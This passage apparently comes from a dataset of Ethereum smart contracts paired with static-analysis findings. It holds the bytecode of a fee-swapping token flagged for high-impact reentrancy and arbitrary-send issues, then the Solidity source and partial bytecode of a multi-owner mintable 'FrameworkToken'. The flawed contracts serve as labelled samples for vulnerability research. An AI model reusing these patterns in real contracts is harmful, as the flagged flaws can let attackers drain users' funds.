ffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613034565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f54565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613094565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613014565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f14565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612ff4565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057601160179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613074565b60405180910390fd5b5b5b60125481111561184f57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750601160179054906101000a900460ff165b15611ab65742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131ca565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050601160159054906101000a900460ff16158015611b2e5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750601160169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ef2565b60405180910390fd5b5060008385611c8a91906132ab565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600854821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f34565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa49190612961565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a99594939291906130af565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b9190613251565b905082848261212a9190613220565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fb4565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122bd565b806121e6576121e5612488565b5b50505050565b60008060006121f961249c565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ef2565b60405180910390fd5b506000838561226d9190613220565b9050809150509392505050565b6000600a5414801561228e57506000600b54145b15612298576122bb565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122cf876124fe565b95509550955095509550955061232d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240e8161260e565b61241884836126cb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124759190613094565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b60008060006008549050600068056bc75e2d6310000090506124d268056bc75e2d6310000060085461217590919063ffffffff16565b8210156124f15760085468056bc75e2d631000009350935050506124fa565b81819350935050505b9091565b600080600080600080600080600061251b8a600a54600b54612705565b925092509250600061252b6121ec565b9050600080600061253e8e87878761279b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125bf91906131ca565b905083811015612604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fb90612f74565b60405180910390fd5b8091505092915050565b60006126186121ec565b9050600061262f82846120fa90919063ffffffff16565b905061268381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e08260085461256690919063ffffffff16565b6008819055506126fb816009546125b090919063ffffffff16565b6009819055505050565b6000806000806127316064612723888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061275b606461274d888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061278482612776858c61256690919063ffffffff16565b61256690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b485896120fa90919063ffffffff16565b905060006127cb86896120fa90919063ffffffff16565b905060006127e287896120fa90919063ffffffff16565b9050600061280b826127fd858761256690919063ffffffff16565b61256690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061283761283284613149565b613124565b9050808382526020820190508285602086028201111561285657600080fd5b60005b85811015612886578161286c8882612890565b845260208401935060208301925050600181019050612859565b5050509392505050565b60008135905061289f81613787565b92915050565b6000815190506128b481613787565b92915050565b600082601f8301126128cb57600080fd5b81356128db848260208601612824565b91505092915050565b6000813590506128f38161379e565b92915050565b6000815190506129088161379e565b92915050565b60008135905061291d816137b5565b92915050565b600081519050612932816137b5565b92915050565b60006020828403121561294a57600080fd5b600061295884828501612890565b91505092915050565b60006020828403121561297357600080fd5b6000612981848285016128a5565b91505092915050565b6000806040838503121561299d57600080fd5b60006129ab85828601612890565b92505060206129bc85828601612890565b9150509250929050565b6000806000606084860312156129db57600080fd5b60006129e986828701612890565b93505060206129fa86828701612890565b9250506040612a0b8682870161290e565b9150509250925092565b60008060408385031215612a2857600080fd5b6000612a3685828601612890565b9250506020612a478582860161290e565b9150509250929050565b600060208284031215612a6357600080fd5b600082013567ffffffffffffffff811115612a7d57600080fd5b612a89848285016128ba565b91505092915050565b600060208284031215612aa457600080fd5b6000612ab2848285016128e4565b91505092915050565b600060208284031215612acd57600080fd5b6000612adb848285016128f9565b91505092915050565b600060208284031215612af657600080fd5b6000612b048482850161290e565b91505092915050565b600080600060608486031215612b2257600080fd5b6000612b3086828701612923565b9350506020612b4186828701612923565b9250506040612b5286828701612923565b9150509250925092565b6000612b688383612b74565b60208301905092915050565b612b7d816132df565b82525050565b612b8c816132df565b82525050565b6000612b9d82613185565b612ba781856131a8565b9350612bb283613175565b8060005b83811015612be3578151612bca8882612b5c565b9750612bd58361319b565b925050600181019050612bb6565b5085935050505092915050565b612bf9816132f1565b82525050565b612c0881613334565b82525050565b6000612c1982613190565b612c2381856131b9565b9350612c33818560208601613346565b612c3c81613480565b840191505092915050565b6000612c546023836131b9565b9150612c5f82613491565b604082019050919050565b6000612c77602a836131b9565b9150612c82826134e0565b604082019050919050565b6000612c9a6022836131b9565b9150612ca58261352f565b604082019050919050565b6000612cbd601b836131b9565b9150612cc88261357e565b602082019050919050565b6000612ce0601d836131b9565b9150612ceb826135a7565b602082019050919050565b6000612d036021836131b9565b9150612d0e826135d0565b604082019050919050565b6000612d266020836131b9565b9150612d318261361f565b602082019050919050565b6000612d496029836131b9565b9150612d5482613648565b604082019050919050565b6000612d6c6025836131b9565b9150612d7782613697565b604082019050919050565b6000612d8f6024836131b9565b9150612d9a826136e6565b604082019050919050565b6000612db26017836131b9565b9150612dbd82613735565b602082019050919050565b6000612dd56011836131b9565b9150612de08261375e565b602082019050919050565b612df48161331d565b82525050565b612e0381613327565b82525050565b6000602082019050612e1e6000830184612b83565b92915050565b6000604082019050612e396000830185612b83565b612e466020830184612b83565b9392505050565b6000604082019050612e626000830185612b83565b612e6f6020830184612deb565b9392505050565b600060c082019050612e8b6000830189612b83565b612e986020830188612deb565b612ea56040830187612bff565b612eb26060830186612bff565b612ebf6080830185612b83565b612ecc60a0830184612deb565b979650505050505050565b6000602082019050612eec6000830184612bf0565b92915050565b60006020820190508181036000830152612f0c8184612c0e565b905092915050565b60006020820190508181036000830152612f2d81612c47565b9050919050565b60006020820190508181036000830152612f4d81612c6a565b9050919050565b60006020820190508181036000830152612f6d81612c8d565b9050919050565b60006020820190508181036000830152612f8d81612cb0565b9050919050565b60006020820190508181036000830152612fad81612cd3565b9050919050565b60006020820190508181036000830152612fcd81612cf6565b9050919050565b60006020820190508181036000830152612fed81612d19565b9050919050565b6000602082019050818103600083015261300d81612d3c565b9050919050565b6000602082019050818103600083015261302d81612d5f565b9050919050565b6000602082019050818103600083015261304d81612d82565b9050919050565b6000602082019050818103600083015261306d81612da5565b9050919050565b6000602082019050818103600083015261308d81612dc8565b9050919050565b60006020820190506130a96000830184612deb565b92915050565b600060a0820190506130c46000830188612deb565b6130d16020830187612bff565b81810360408301526130e38186612b92565b90506130f26060830185612b83565b6130ff6080830184612deb565b9695505050505050565b600060208201905061311e6000830184612dfa565b92915050565b600061312e61313f565b905061313a8282613379565b919050565b6000604051905090565b600067ffffffffffffffff82111561316457613163613451565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d58261331d565b91506131e08361331d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613215576132146133f3565b5b828201905092915050565b600061322b8261331d565b91506132368361331d565b92508261324657613245613422565b5b828204905092915050565b600061325c8261331d565b91506132678361331d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132a05761329f6133f3565b5b828202905092915050565b60006132b68261331d565b91506132c18361331d565b9250828210156132d4576132d36133f3565b5b828203905092915050565b60006132ea826132fd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333f8261331d565b9050919050565b60005b83811015613364578082015181840152602081019050613349565b83811115613373576000848401525b50505050565b61338282613480565b810181811067ffffffffffffffff821117156133a1576133a0613451565b5b80604052505050565b60006133b58261331d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133e8576133e76133f3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613790816132df565b811461379b57600080fd5b50565b6137a7816132f1565b81146137b257600080fd5b50565b6137be8161331d565b81146137c957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048effb4ca700709aa2003fb446c03c7ba81c30e6a490c4957174e923d1a4007364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,855
0x8fb5a44c9ee56cf9542bc45328eee1485eb0b251
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract FrameworkToken is CappedToken, PausableToken, Contactable { string public name = "Framework"; string public symbol = "FRWK"; uint8 public decimals = 18; uint256 public cappedTokenSupply = 100000000 * (10 ** uint256(decimals)); // There will be total 100 million FRWK Tokens mapping(address => bool) public owners; function FrameworkToken() CappedToken(cappedTokenSupply) public { } modifier onlyOwner() { require(isAnOwner(msg.sender)); _; } function addNewOwner(address _owner) public onlyOwner{ require(_owner != address(0)); owners[_owner]= true; } function removeOwner(address _owner) public onlyOwner{ require(_owner != address(0)); require(_owner != msg.sender); owners[_owner]= false; } function isAnOwner(address _owner) public constant returns(bool) { if (_owner == owner){ return true; } return owners[_owner]; } modifier hasMintPermission() { require(isAnOwner(msg.sender)); _; } }
0x6080604052600436106101695763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a7811461016e57806305d2035b146101a357806306fdde03146101b8578063095ea7b314610242578063114d8be114610266578063173825d91461028957806318160ddd146102aa5780631b0dc452146102d157806323b872dd146102f2578063313ce5671461031c578063355274ea1461034757806336f7ab5e1461035c5780633f4ba83a1461037157806340c10f19146103865780635c975abb146103aa57806366188463146103bf57806370a08231146103e3578063715018a6146104045780637d64bcb4146104195780638456cb591461042e5780638da5cb5b1461044357806395d89b4114610474578063a9059cbb14610489578063b967a52e146104ad578063cd27f1d914610506578063d73dd6231461051b578063dd62ed3e1461053f578063f2fde38b14610566575b600080fd5b34801561017a57600080fd5b5061018f600160a060020a0360043516610587565b604080519115158252519081900360200190f35b3480156101af57600080fd5b5061018f61059c565b3480156101c457600080fd5b506101cd6105ac565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102075781810151838201526020016101ef565b50505050905090810190601f1680156102345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024e57600080fd5b5061018f600160a060020a036004351660243561063a565b34801561027257600080fd5b50610287600160a060020a036004351661065e565b005b34801561029557600080fd5b50610287600160a060020a03600435166106ab565b3480156102b657600080fd5b506102bf61070b565b60408051918252519081900360200190f35b3480156102dd57600080fd5b5061018f600160a060020a0360043516610712565b3480156102fe57600080fd5b5061018f600160a060020a0360043581169060243516604435610756565b34801561032857600080fd5b5061033161077c565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506102bf610785565b34801561036857600080fd5b506101cd61078b565b34801561037d57600080fd5b506102876107e6565b34801561039257600080fd5b5061018f600160a060020a0360043516602435610840565b3480156103b657600080fd5b5061018f610898565b3480156103cb57600080fd5b5061018f600160a060020a03600435166024356108a1565b3480156103ef57600080fd5b506102bf600160a060020a03600435166108be565b34801561041057600080fd5b506102876108d9565b34801561042557600080fd5b5061018f610944565b34801561043a57600080fd5b506102876109c4565b34801561044f57600080fd5b50610458610a20565b60408051600160a060020a039092168252519081900360200190f35b34801561048057600080fd5b506101cd610a2f565b34801561049557600080fd5b5061018f600160a060020a0360043516602435610a8a565b3480156104b957600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610287943694929360249392840191908190840183828082843750949750610aa79650505050505050565b34801561051257600080fd5b506102bf610ad2565b34801561052757600080fd5b5061018f600160a060020a0360043516602435610ad8565b34801561054b57600080fd5b506102bf600160a060020a0360043581169060243516610af5565b34801561057257600080fd5b50610287600160a060020a0360043516610b20565b600b6020526000908152604090205460ff1681565b60035460a060020a900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106325780601f1061060757610100808354040283529160200191610632565b820191906000526020600020905b81548152906001019060200180831161061557829003601f168201915b505050505081565b60055460009060ff161561064d57600080fd5b6106578383610b40565b9392505050565b61066733610712565b151561067257600080fd5b600160a060020a038116151561068757600080fd5b600160a060020a03166000908152600b60205260409020805460ff19166001179055565b6106b433610712565b15156106bf57600080fd5b600160a060020a03811615156106d457600080fd5b600160a060020a0381163314156106ea57600080fd5b600160a060020a03166000908152600b6020526040